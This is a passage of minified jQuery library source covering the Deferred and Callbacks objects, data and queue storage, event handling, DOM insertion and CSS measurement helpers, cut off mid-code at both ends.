r=o=[],s=n="",this},disabled:function(){return!s},lock:function(){return r=o=[],n||t||(s=n=""),this},locked:function(){return!!r},fireWith:function(e,n){return r||(n=[e,(n=n||[]).slice?n.slice():n],o.push(n),t||l()),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!i}};return c},x.extend({Deferred:function(t){var n=[["notify","progress",x.Callbacks("memory"),x.Callbacks("memory"),2],["resolve","done",x.Callbacks("once memory"),x.Callbacks("once memory"),0,"resolved"],["reject","fail",x.Callbacks("once memory"),x.Callbacks("once memory"),1,"rejected"]],i="pending",r={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},catch:function(e){return r.then(null,e)},pipe:function(){var e=arguments;return x.Deferred((function(t){x.each(n,(function(n,i){var r=f(e[i[4]])&&e[i[4]];s[i[1]]((function(){var e=r&&r.apply(this,arguments);e&&f(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[i[0]+"With"](this,r?[e]:arguments)}))})),e=null})).promise()},then:function(t,i,r){var s=0;function o(t,n,i,r){return function(){var a=this,l=arguments,c=function(){var e,c;if(!(t<s)){if((e=i.apply(a,l))===n.promise())throw new TypeError("Thenable self-resolution");c=e&&("object"==typeof e||"function"==typeof e)&&e.then,f(c)?r?c.call(e,o(s,n,X,r),o(s,n,Y,r)):(s++,c.call(e,o(s,n,X,r),o(s,n,Y,r),o(s,n,X,n.notifyWith))):(i!==X&&(a=void 0,l=[e]),(r||n.resolveWith)(a,l))}},u=r?c:function(){try{c()}catch(e){x.Deferred.exceptionHook&&x.Deferred.exceptionHook(e,u.error),t+1>=s&&(i!==Y&&(a=void 0,l=[e]),n.rejectWith(a,l))}};t?u():(x.Deferred.getErrorHook?u.error=x.Deferred.getErrorHook():x.Deferred.getStackHook&&(u.error=x.Deferred.getStackHook()),e.setTimeout(u))}}return x.Deferred((function(e){n[0][3].add(o(0,e,f(r)?r:X,e.notifyWith)),n[1][3].add(o(0,e,f(t)?t:X)),n[2][3].add(o(0,e,f(i)?i:Y))})).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},s={};return x.each(n,(function(e,t){var o=t[2],a=t[5];r[t[1]]=o.add,a&&o.add((function(){i=a}),n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),o.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=o.fireWith})),r.promise(s),t&&t.call(s,s),s},when:function(e){var t=arguments.length,n=t,i=Array(n),s=r.call(arguments),o=x.Deferred(),a=function(e){return function(n){i[e]=this,s[e]=arguments.length>1?r.call(arguments):n,--t||o.resolveWith(i,s)}};if(t<=1&&(G(e,o.done(a(n)).resolve,o.reject,!t),"pending"===o.state()||f(s[n]&&s[n].then)))return o.then();for(;n--;)G(s[n],a(n),o.reject);return o.promise()}});var V=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;x.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&V.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},x.readyException=function(t){e.setTimeout((function(){throw t}))};var U=x.Deferred();function Z(){g.removeEventListener("DOMContentLoaded",Z),e.removeEventListener("load",Z),x.ready()}x.fn.ready=function(e){return U.then(e).catch((function(e){x.readyException(e)})),this},x.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--x.readyWait:x.isReady)||(x.isReady=!0,!0!==e&&--x.readyWait>0||U.resolveWith(g,[x]))}}),x.ready.then=U.then,"complete"===g.readyState||"loading"!==g.readyState&&!g.documentElement.doScroll?e.setTimeout(x.ready):(g.addEventListener("DOMContentLoaded",Z),e.addEventListener("load",Z));var K=function(e,t,n,i,r,s,o){var a=0,l=e.length,c=null==n;if("object"===b(n))for(a in r=!0,n)K(e,t,a,n[a],!0,s,o);else if(void 0!==i&&(r=!0,f(i)||(o=!0),c&&(o?(t.call(e,i),t=null):(c=t,t=function(e,t,n){return c.call(x(e),n)})),t))for(;a<l;a++)t(e[a],n,o?i:i.call(e[a],a,t(e[a],n)));return r?e:c?t.call(e):l?t(e[0],n):s},Q=/^-ms-/,J=/-([a-z])/g;function ee(e,t){return t.toUpperCase()}function te(e){return e.replace(Q,"ms-").replace(J,ee)}var ne=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function ie(){this.expando=x.expando+ie.uid++}ie.uid=1,ie.prototype={cache:function(e){var t=e[this.expando];return t||(t={},ne(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var i,r=this.cache(e);if("string"==typeof t)r[te(t)]=n;else for(i in t)r[te(i)]=t[i];return r},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][te(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,i=e[this.expando];if(void 0!==i){if(void 0!==t){n=(t=Array.isArray(t)?t.map(te):(t=te(t))in i?[t]:t.match(W)||[]).length;for(;n--;)delete i[t[n]]}(void 0===t||x.isEmptyObject(i))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!x.isEmptyObject(t)}};var re=new ie,se=new ie,oe=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ae=/[A-Z]/g;function le(e,t,n){var i;if(void 0===n&&1===e.nodeType)if(i="data-"+t.replace(ae,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(i))){try{n=function(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:oe.test(e)?JSON.parse(e):e)}(n)}catch(e){}se.set(e,t,n)}else n=void 0;return n}x.extend({hasData:function(e){return se.hasData(e)||re.hasData(e)},data:function(e,t,n){return se.access(e,t,n)},removeData:function(e,t){se.remove(e,t)},_data:function(e,t,n){return re.access(e,t,n)},_removeData:function(e,t){re.remove(e,t)}}),x.fn.extend({data:function(e,t){var n,i,r,s=this[0],o=s&&s.attributes;if(void 0===e){if(this.length&&(r=se.get(s),1===s.nodeType&&!re.get(s,"hasDataAttrs"))){for(n=o.length;n--;)o[n]&&0===(i=o[n].name).indexOf("data-")&&(i=te(i.slice(5)),le(s,i,r[i]));re.set(s,"hasDataAttrs",!0)}return r}return"object"==typeof e?this.each((function(){se.set(this,e)})):K(this,(function(t){var n;if(s&&void 0===t)return void 0!==(n=se.get(s,e))||void 0!==(n=le(s,e))?n:void 0;this.each((function(){se.set(this,e,t)}))}),null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each((function(){se.remove(this,e)}))}}),x.extend({queue:function(e,t,n){var i;if(e)return t=(t||"fx")+"queue",i=re.get(e,t),n&&(!i||Array.isArray(n)?i=re.access(e,t,x.makeArray(n)):i.push(n)),i||[]},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),i=n.length,r=n.shift(),s=x._queueHooks(e,t);"inprogress"===r&&(r=n.shift(),i--),r&&("fx"===t&&n.unshift("inprogress"),delete s.stop,r.call(e,(function(){x.dequeue(e,t)}),s)),!i&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return re.get(e,n)||re.access(e,n,{empty:x.Callbacks("once memory").add((function(){re.remove(e,[t+"queue",n])}))})}}),x.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?x.queue(this[0],e):void 0===t?this:this.each((function(){var n=x.queue(this,e,t);x._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&x.dequeue(this,e)}))},dequeue:function(e){return this.each((function(){x.dequeue(this,e)}))},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,i=1,r=x.Deferred(),s=this,o=this.length,a=function(){--i||r.resolveWith(s,[s])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";o--;)(n=re.get(s[o],e+"queueHooks"))&&n.empty&&(i++,n.empty.add(a));return a(),r.promise(t)}});var ce=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ue=new RegExp("^(?:([+-])=|)("+ce+")([a-z%]*)$","i"),de=["Top","Right","Bottom","Left"],pe=g.documentElement,he=function(e){return x.contains(e.ownerDocument,e)},fe={composed:!0};pe.getRootNode&&(he=function(e){return x.contains(e.ownerDocument,e)||e.getRootNode(fe)===e.ownerDocument});var me=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&he(e)&&"none"===x.css(e,"display")};function ge(e,t,n,i){var r,s,o=20,a=i?function(){return i.cur()}:function(){return x.css(e,t,"")},l=a(),c=n&&n[3]||(x.cssNumber[t]?"":"px"),u=e.nodeType&&(x.cssNumber[t]||"px"!==c&&+l)&&ue.exec(x.css(e,t));if(u&&u[3]!==c){for(l/=2,c=c||u[3],u=+l||1;o--;)x.style(e,t,u+c),(1-s)*(1-(s=a()/l||.5))<=0&&(o=0),u/=s;u*=2,x.style(e,t,u+c),n=n||[]}return n&&(u=+u||+l||0,r=n[1]?u+(n[1]+1)*n[2]:+n[2],i&&(i.unit=c,i.start=u,i.end=r)),r}var ve={};function ye(e){var t,n=e.ownerDocument,i=e.nodeName,r=ve[i];return r||(t=n.body.appendChild(n.createElement(i)),r=x.css(t,"display"),t.parentNode.removeChild(t),"none"===r&&(r="block"),ve[i]=r,r)}function be(e,t){for(var n,i,r=[],s=0,o=e.length;s<o;s++)(i=e[s]).style&&(n=i.style.display,t?("none"===n&&(r[s]=re.get(i,"display")||null,r[s]||(i.style.display="")),""===i.style.display&&me(i)&&(r[s]=ye(i))):"none"!==n&&(r[s]="none",re.set(i,"display",n)));for(s=0;s<o;s++)null!=r[s]&&(e[s].style.display=r[s]);return e}x.fn.extend({show:function(){return be(this,!0)},hide:function(){return be(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each((function(){me(this)?x(this).show():x(this).hide()}))}});var we,_e,xe=/^(?:checkbox|radio)$/i,Te=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,Ee=/^$|^module$|\/(?:java|ecma)script/i;we=g.createDocumentFragment().appendChild(g.createElement("div")),(_e=g.createElement("input")).setAttribute("type","radio"),_e.setAttribute("checked","checked"),_e.setAttribute("name","t"),we.appendChild(_e),h.checkClone=we.cloneNode(!0).cloneNode(!0).lastChild.checked,we.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!we.cloneNode(!0).lastChild.defaultValue,we.innerHTML="<option></option>",h.option=!!we.lastChild;var Se={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function Ce(e,t){var n;return n=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||"*"):void 0!==e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&E(e,t)?x.merge([e],n):n}function Me(e,t){for(var n=0,i=e.length;n<i;n++)re.set(e[n],"globalEval",!t||re.get(t[n],"globalEval"))}Se.tbody=Se.tfoot=Se.colgroup=Se.caption=Se.thead,Se.th=Se.td,h.option||(Se.optgroup=Se.option=[1,"<select multiple='multiple'>","</select>"]);var ke=/<|&#?\w+;/;function Ae(e,t,n,i,r){for(var s,o,a,l,c,u,d=t.createDocumentFragment(),p=[],h=0,f=e.length;h<f;h++)if((s=e[h])||0===s)if("object"===b(s))x.merge(p,s.nodeType?[s]:s);else if(ke.test(s)){for(o=o||d.appendChild(t.createElement("div")),a=(Te.exec(s)||["",""])[1].toLowerCase(),l=Se[a]||Se._default,o.innerHTML=l[1]+x.htmlPrefilter(s)+l[2],u=l[0];u--;)o=o.lastChild;x.merge(p,o.childNodes),(o=d.firstChild).textContent=""}else p.push(t.createTextNode(s));for(d.textContent="",h=0;s=p[h++];)if(i&&x.inArray(s,i)>-1)r&&r.push(s);else if(c=he(s),o=Ce(d.appendChild(s),"script"),c&&Me(o),n)for(u=0;s=o[u++];)Ee.test(s.type||"")&&n.push(s);return d}var Oe=/^([^.]*)(?:\.(.+)|)/;function Pe(){return!0}function Le(){return!1}function De(e,t,n,i,r,s){var o,a;if("object"==typeof t){for(a in"string"!=typeof n&&(i=i||n,n=void 0),t)De(e,a,n,i,t[a],s);return e}if(null==i&&null==r?(r=n,i=n=void 0):null==r&&("string"==typeof n?(r=i,i=void 0):(r=i,i=n,n=void 0)),!1===r)r=Le;else if(!r)return e;return 1===s&&(o=r,r=function(e){return x().off(e),o.apply(this,arguments)},r.guid=o.guid||(o.guid=x.guid++)),e.each((function(){x.event.add(this,t,r,i,n)}))}function Ie(e,t,n){n?(re.set(e,t,!1),x.event.add(e,t,{namespace:!1,handler:function(e){var n,i=re.get(this,t);if(1&e.isTrigger&&this[t]){if(i)(x.event.special[t]||{}).delegateType&&e.stopPropagation();else if(i=r.call(arguments),re.set(this,t,i),this[t](),n=re.get(this,t),re.set(this,t,!1),i!==n)return e.stopImmediatePropagation(),e.preventDefault(),n}else i&&(re.set(this,t,x.event.trigger(i[0],i.slice(1),this)),e.stopPropagation(),e.isImmediatePropagationStopped=Pe)}})):void 0===re.get(e,t)&&x.event.add(e,t,Pe)}x.event={global:{},add:function(e,t,n,i,r){var s,o,a,l,c,u,d,p,h,f,m,g=re.get(e);if(ne(e))for(n.handler&&(n=(s=n).handler,r=s.selector),r&&x.find.matchesSelector(pe,r),n.guid||(n.guid=x.guid++),(l=g.events)||(l=g.events=Object.create(null)),(o=g.handle)||(o=g.handle=function(t){return void 0!==x&&x.event.triggered!==t.type?x.event.dispatch.apply(e,arguments):void 0}),c=(t=(t||"").match(W)||[""]).length;c--;)h=m=(a=Oe.exec(t[c])||[])[1],f=(a[2]||"").split(".").sort(),h&&(d=x.event.special[h]||{},h=(r?d.delegateType:d.bindType)||h,d=x.event.special[h]||{},u=x.extend({type:h,origType:m,data:i,handler:n,guid:n.guid,selector:r,needsContext:r&&x.expr.match.needsContext.test(r),namespace:f.join(".")},s),(p=l[h])||((p=l[h]=[]).delegateCount=0,d.setup&&!1!==d.setup.call(e,i,f,o)||e.addEventListener&&e.addEventListener(h,o)),d.add&&(d.add.call(e,u),u.handler.guid||(u.handler.guid=n.guid)),r?p.splice(p.delegateCount++,0,u):p.push(u),x.event.global[h]=!0)},remove:function(e,t,n,i,r){var s,o,a,l,c,u,d,p,h,f,m,g=re.hasData(e)&&re.get(e);if(g&&(l=g.events)){for(c=(t=(t||"").match(W)||[""]).length;c--;)if(h=m=(a=Oe.exec(t[c])||[])[1],f=(a[2]||"").split(".").sort(),h){for(d=x.event.special[h]||{},p=l[h=(i?d.delegateType:d.bindType)||h]||[],a=a[2]&&new RegExp("(^|\\.)"+f.join("\\.(?:.*\\.|)")+"(\\.|$)"),o=s=p.length;s--;)u=p[s],!r&&m!==u.origType||n&&n.guid!==u.guid||a&&!a.test(u.namespace)||i&&i!==u.selector&&("**"!==i||!u.selector)||(p.splice(s,1),u.selector&&p.delegateCount--,d.remove&&d.remove.call(e,u));o&&!p.length&&(d.teardown&&!1!==d.teardown.call(e,f,g.handle)||x.removeEvent(e,h,g.handle),delete l[h])}else for(h in l)x.event.remove(e,h+t[c],n,i,!0);x.isEmptyObject(l)&&re.remove(e,"handle events")}},dispatch:function(e){var t,n,i,r,s,o,a=new Array(arguments.length),l=x.event.fix(e),c=(re.get(this,"events")||Object.create(null))[l.type]||[],u=x.event.special[l.type]||{};for(a[0]=l,t=1;t<arguments.length;t++)a[t]=arguments[t];if(l.delegateTarget=this,!u.preDispatch||!1!==u.preDispatch.call(this,l)){for(o=x.event.handlers.call(this,l,c),t=0;(r=o[t++])&&!l.isPropagationStopped();)for(l.currentTarget=r.elem,n=0;(s=r.handlers[n++])&&!l.isImmediatePropagationStopped();)l.rnamespace&&!1!==s.namespace&&!l.rnamespace.test(s.namespace)||(l.handleObj=s,l.data=s.data,void 0!==(i=((x.event.special[s.origType]||{}).handle||s.handler).apply(r.elem,a))&&!1===(l.result=i)&&(l.preventDefault(),l.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,l),l.result}},handlers:function(e,t){var n,i,r,s,o,a=[],l=t.delegateCount,c=e.target;if(l&&c.nodeType&&!("click"===e.type&&e.button>=1))for(;c!==this;c=c.parentNode||this)if(1===c.nodeType&&("click"!==e.type||!0!==c.disabled)){for(s=[],o={},n=0;n<l;n++)void 0===o[r=(i=t[n]).selector+" "]&&(o[r]=i.needsContext?x(r,this).index(c)>-1:x.find(r,this,null,[c]).length),o[r]&&s.push(i);s.length&&a.push({elem:c,handlers:s})}return c=this,l<t.length&&a.push({elem:c,handlers:t.slice(l)}),a},addProp:function(e,t){Object.defineProperty(x.Event.prototype,e,{enumerable:!0,configurable:!0,get:f(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[x.expando]?e:new x.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return xe.test(t.type)&&t.click&&E(t,"input")&&Ie(t,"click",!0),!1},trigger:function(e){var t=this||e;return xe.test(t.type)&&t.click&&E(t,"input")&&Ie(t,"click"),!0},_default:function(e){var t=e.target;return xe.test(t.type)&&t.click&&E(t,"input")&&re.get(t,"click")||E(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},x.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},x.Event=function(e,t){if(!(this instanceof x.Event))return new x.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Pe:Le,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&x.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[x.expando]=!0},x.Event.prototype={constructor:x.Event,isDefaultPrevented:Le,isPropagationStopped:Le,isImmediatePropagationStopped:Le,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Pe,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Pe,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Pe,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},x.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},x.event.addProp),x.each({focus:"focusin",blur:"focusout"},(function(e,t){function n(e){if(g.documentMode){var n=re.get(this,"handle"),i=x.event.fix(e);i.type="focusin"===e.type?"focus":"blur",i.isSimulated=!0,n(e),i.target===i.currentTarget&&n(i)}else x.event.simulate(t,e.target,x.event.fix(e))}x.event.special[e]={setup:function(){var i;if(Ie(this,e,!0),!g.documentMode)return!1;(i=re.get(this,t))||this.addEventListener(t,n),re.set(this,t,(i||0)+1)},trigger:function(){return Ie(this,e),!0},teardown:function(){var e;if(!g.documentMode)return!1;(e=re.get(this,t)-1)?re.set(this,t,e):(this.removeEventListener(t,n),re.remove(this,t))},_default:function(t){return re.get(t.target,e)},delegateType:t},x.event.special[t]={setup:function(){var i=this.ownerDocument||this.document||this,r=g.documentMode?this:i,s=re.get(r,t);s||(g.documentMode?this.addEventListener(t,n):i.addEventListener(e,n,!0)),re.set(r,t,(s||0)+1)},teardown:function(){var i=this.ownerDocument||this.document||this,r=g.documentMode?this:i,s=re.get(r,t)-1;s?re.set(r,t,s):(g.documentMode?this.removeEventListener(t,n):i.removeEventListener(e,n,!0),re.remove(r,t))}}})),x.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},(function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,i=e.relatedTarget,r=e.handleObj;return i&&(i===this||x.contains(this,i))||(e.type=r.origType,n=r.handler.apply(this,arguments),e.type=t),n}}})),x.fn.extend({on:function(e,t,n,i){return De(this,e,t,n,i)},one:function(e,t,n,i){return De(this,e,t,n,i,1)},off:function(e,t,n){var i,r;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(r in e)this.off(r,t,e[r]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Le),this.each((function(){x.event.remove(this,e,n,t)}))}});var ze=/<script|<style|<link/i,Ne=/checked\s*(?:[^=]|=\s*.checked.)/i,Re=/^\s*<!\[CDATA\[|\]\]>\s*$/g;function $e(e,t){return E(e,"table")&&E(11!==t.nodeType?t:t.firstChild,"tr")&&x(e).children("tbody")[0]||e}function Fe(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function je(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function He(e,t){var n,i,r,s,o,a;if(1===t.nodeType){if(re.hasData(e)&&(a=re.get(e).events))for(r in re.remove(t,"handle events"),a)for(n=0,i=a[r].length;n<i;n++)x.event.add(t,r,a[r][n]);se.hasData(e)&&(s=se.access(e),o=x.extend({},s),se.set(t,o))}}function qe(e,t){var n=t.nodeName.toLowerCase();"input"===n&&xe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Be(e,t,n,i){t=s(t);var r,o,a,l,c,u,d=0,p=e.length,m=p-1,g=t[0],v=f(g);if(v||p>1&&"string"==typeof g&&!h.checkClone&&Ne.test(g))return e.each((function(r){var s=e.eq(r);v&&(t[0]=g.call(this,r,s.html())),Be(s,t,n,i)}));if(p&&(o=(r=Ae(t,e[0].ownerDocument,!1,e,i)).firstChild,1===r.childNodes.length&&(r=o),o||i)){for(l=(a=x.map(Ce(r,"script"),Fe)).length;d<p;d++)c=r,d!==m&&(c=x.clone(c,!0,!0),l&&x.merge(a,Ce(c,"script"))),n.call(e[d],c,d);if(l)for(u=a[a.length-1].ownerDocument,x.map(a,je),d=0;d<l;d++)c=a[d],Ee.test(c.type||"")&&!re.access(c,"globalEval")&&x.contains(u,c)&&(c.src&&"module"!==(c.type||"").toLowerCase()?x._evalUrl&&!c.noModule&&x._evalUrl(c.src,{nonce:c.nonce||c.getAttribute("nonce")},u):y(c.textContent.replace(Re,""),c,u))}return e}function We(e,t,n){for(var i,r=t?x.filter(t,e):e,s=0;null!=(i=r[s]);s++)n||1!==i.nodeType||x.cleanData(Ce(i)),i.parentNode&&(n&&he(i)&&Me(Ce(i,"script")),i.parentNode.removeChild(i));return e}x.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var i,r,s,o,a=e.cloneNode(!0),l=he(e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e)))for(o=Ce(a),i=0,r=(s=Ce(e)).length;i<r;i++)qe(s[i],o[i]);if(t)if(n)for(s=s||Ce(e),o=o||Ce(a),i=0,r=s.length;i<r;i++)He(s[i],o[i]);else He(e,a);return(o=Ce(a,"script")).length>0&&Me(o,!l&&Ce(e,"script")),a},cleanData:function(e){for(var t,n,i,r=x.event.special,s=0;void 0!==(n=e[s]);s++)if(ne(n)){if(t=n[re.expando]){if(t.events)for(i in t.events)r[i]?x.event.remove(n,i):x.removeEvent(n,i,t.handle);n[re.expando]=void 0}n[se.expando]&&(n[se.expando]=void 0)}}}),x.fn.extend({detach:function(e){return We(this,e,!0)},remove:function(e){return We(this,e)},text:function(e){return K(this,(function(e){return void 0===e?x.text(this):this.empty().each((function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)}))}),null,e,arguments.length)},append:function(){return Be(this,arguments,(function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||$e(this,e).appendChild(e)}))},prepend:function(){return Be(this,arguments,(function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=$e(this,e);t.insertBefore(e,t.firstChild)}}))},before:function(){return Be(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this)}))},after:function(){return Be(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)}))},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(x.cleanData(Ce(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map((function(){return x.clone(this,e,t)}))},html:function(e){return K(this,(function(e){var t=this[0]||{},n=0,i=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!ze.test(e)&&!Se[(Te.exec(e)||["",""])[1].toLowerCase()]){e=x.htmlPrefilter(e);try{for(;n<i;n++)1===(t=this[n]||{}).nodeType&&(x.cleanData(Ce(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)}),null,e,arguments.length)},replaceWith:function(){var e=[];return Be(this,arguments,(function(t){var n=this.parentNode;x.inArray(this,e)<0&&(x.cleanData(Ce(this)),n&&n.replaceChild(t,this))}),e)}}),x.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},(function(e,t){x.fn[e]=function(e){for(var n,i=[],r=x(e),s=r.length-1,a=0;a<=s;a++)n=a===s?this:this.clone(!0),x(r[a])[t](n),o.apply(i,n.get());return this.pushStack(i)}}));var Xe=new RegExp("^("+ce+")(?!px)[a-z%]+$","i"),Ye=/^--/,Ge=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Ve=function(e,t,n){var i,r,s={};for(r in t)s[r]=e.style[r],e.style[r]=t[r];for(r in i=n.call(e),t)e.style[r]=s[r];return i},Ue=new RegExp(de.join("|"),"i");function Ze(e,t,n){var i,r,s,o,a=Ye.test(t),l=e.style;return(n=n||Ge(e))&&(o=n.getPropertyValue(t)||n[t],a&&o&&(o=o.replace(A,"$1")||void 0),""!==o||he(e)||(o=x.style(e,t)),!h.pixelBoxStyles()&&Xe.test(o)&&Ue.test(t)&&(i=l.width,r=l.minWidth,s=l.maxWidth,l.minWidth=l.maxWidth=l.width=o,o=n.width,l.width=i,l.minWidth=r,l.maxWidth=s)),void 0!==o?o+"":o}function Ke(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function t(){if(u){c.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",u.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",pe.appendChild(c).appendChild(u);var t=e.getComputedStyle(u);i="1%"!==t.top,l=12===n(t.marginLeft),u.style.right="60%",o=36===n(t.right),r=36===n(t.width),u.style.position="absolute",s=12===n(u.offsetWidth/3),pe.removeChild(c),u=null}}function n(e){return Math.round(parseFloat(e))}var i,r,s,o,a,l,c=g.createElement("div"),u=g.createElement("div");u.style&&(u.style.backgroundClip="content-box",u.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===u.style.backgroundClip,x.extend(h,{boxSizingReliable:function(){return t(),r},pixelBoxStyles:function(){return t(),o},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),l},scrollboxSize:function(){return t(),s},reliableTrDimensions:function(){var t,n,i,r;return null==a&&(t=g.createElement("table"),n=g.createElement("tr"),i=g.createElement("div"),t.style.cssText="position:absolute;left:-11111px;border-collapse:separate",n.style.cssText="box-sizing:content-box;border:1px solid",n.style.height="1px",i.style.height="9px",i.style.display="block",pe.appendChild(t).appendChild(n).appendChild(i),r=e.getComputedStyle(n),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===n.offsetHeight,pe.removeChild(t)),a}}))}();var Qe=["Webkit","Moz","ms"],Je=g.createElement("div").style,et={};function tt(e){return x.cssProps[e]||et[e]||(e in Je?e:et[e]=function(e){for(var t=e[0].toUpperCase()+e.slice(1),n=Qe.length;n--;)if((e=Qe[n]+t)in Je)return e}(e)||e)}var nt=/^(none|table(?!-c[ea]).+)/,it={position:"absolute",visibility:"hidden",display:"block"},rt={letterSpacing:"0",fontWeight:"400"};function st(e,t,n){var i=ue.exec(t);return i?Math.max(0,i[2]-(n||0))+(i[3]||"px"):t}function ot(e,t,n,i,r,s){var o="width"===t?1:0,a=0,l=0,c=0;if(n===(i?"border":"content"))return 0;for(;o<4;o+=2)"margin"===n&&(c+=x.css(e,n+de[o],!0,r)),i?("content"===n&&(l-=x.css(e,"padding"+de[o],!0,r)),"margin"!==n&&(l-=x.css(e,"border"+de[o]+"Width",!0,r))):(l+=x.css(e,"padding"+de[o],!0,r),"padding"!==n?l+=x.css(e,"border"+de[o]+"Width",!0,r):a+=x.css(e,"border"+de[o]+"Width",!0,r));return!i&&s>=0&&(l+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-s-l-a-.5))||0),l+c}function at(e,t,n){var 